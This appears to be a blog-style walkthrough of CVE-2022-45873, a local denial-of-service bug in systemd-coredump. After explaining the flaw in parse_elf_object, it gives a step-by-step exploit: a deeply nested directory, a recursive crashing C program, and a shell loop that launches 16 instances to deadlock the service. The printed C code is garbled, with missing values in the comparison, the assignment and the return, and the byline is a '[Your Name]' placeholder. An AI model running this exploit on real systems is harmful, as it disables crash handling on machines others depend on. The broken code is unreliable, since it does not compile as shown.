A security issue identified as CVE-2022-45873 affects systemd versions 250 and 251, allowing local users to create a deadlock in the systemd-coredump service. This exploit uses a clever technique that involves recursively crashing a binary, deeply nesting directories, and overwhelming systemd's coredump handing, leading to a denial of service. Let's break down what this means, how it works, and how you can test (and mitigate) it.

What is systemd-coredump?

systemd-coredump is a part of the systemd ecosystem that collects core dumps of crashed programs. By default, when a program crashes, systemd can collect crash data for debugging. It runs as a socket-activated service, where the systemd-coredump.socket controls how many connections can be handled at the same time via the MaxConnections setting.

Where is the Bug?

The bug exists in the parse_elf_object function inside the shared/elf-util.c source file. When a program crashes with a really long backtrace (for example, when functions keep calling themselves), parsing all that data takes a long time.

If multiple (up to 16, if that's your MaxConnections setting) such crashing processes come in at once, systemd-coredump gets overloaded and deadlocks. Once maxed out, it can't accept any other core dumps, which means you lose debugging information and open a denial of service condition.

Create a binary that recursively crashes itself to generate a huge call stack.

- Place this binary in a deeply nested directory structure, adding to the backtrace parsing workload (since file paths are included in the trace).
- Launch 16 instances of this binary (or as many as the MaxConnections value in /lib/systemd/system/systemd-coredump.socket), completely blocking systemd-coredump with deadlocks.

Exploit Steps

Here’s a step-by-step example to exploit this on a test system (WARNING: running this exploit may break coredump collection or cause system issues):

Inspect the limit for systemd-coredump sockets (default is usually 16)

cat /lib/systemd/system/systemd-coredump.socket | grep MaxConnections

You may see

[Socket]
MaxConnections=16

Here’s a simple way to create a long, nested directory path

mkdir -p $(printf 'deep/%.s' {1..40})
cd $(printf 'deep/%.s' {1..40})
pwd  # This should show a very long path

Create a C file (crash.c) that recursively calls itself to crash with a giant backtrace

#include <stdio.h>
#include <stdlib.h>

void crashme(int n) {
    char buf[128];
    if (n == ) {
        // Intentional crash (segfault)
        int *p = NULL;
        *p = ;
    } else {
        crashme(n - 1); // Recurse deeper!
    }
}

int main() {
    crashme(500); // A large number to get huge call stack
    return ;
}

Compile it

gcc -g -o crashme crash.c

You need to start as many as the MaxConnections value, here 16

for i in {1..16}; do ./crashme & done

This will instantly kick off 16 crashing processes, each with a massive backtrace and in a very deeply nested directory.

Now, try triggering another crash or review core dumps with journalctl

journalctl -u systemd-coredump

You'll likely see new crashes not being handled until the overloaded systemd-coredump recovers (or is restarted).

Why Does This Work?

- Big Stack Trace: Recursive crashes generate *huge* call stacks for parse_elf_object to process.

Deep Path: Long file paths show up in backtraces and increase the load even more.

- Saturate the Service: Reaching the MaxConnections limit with slow-processing crashes causes all systemd-coredump processes to stall, resulting in a system-wide deadlock in dump handling.

- CVE-2022-45873 – NIST NVD
- systemd GitHub Issue #25393 (Bug entry)
- systemd-coredump source code (GitHub)
- Original systemd MaxConnections discussion

Conclusion

CVE-2022-45873 is a unique local exploit that abuses the way systemd-coredump parses crash dumps, especially when combined with deep recursion and long path names. It demonstrates the subtle ways system components can be overwhelmed using legitimate (but extreme) input patterns.

Stay secure by updating systemd where possible, and keep an eye on system-level resources that can be overwhelmed in similar ways!


Disclaimer: This info is for educational use only. Use responsibly and do not attack systems you do not own.


*Post by [Your Name], System Security Researcher, 2024*

Timeline

Published on: 11/23/2022 23:15:00 UTC
Last modified on: 03/01/2023 14:27:00 UTC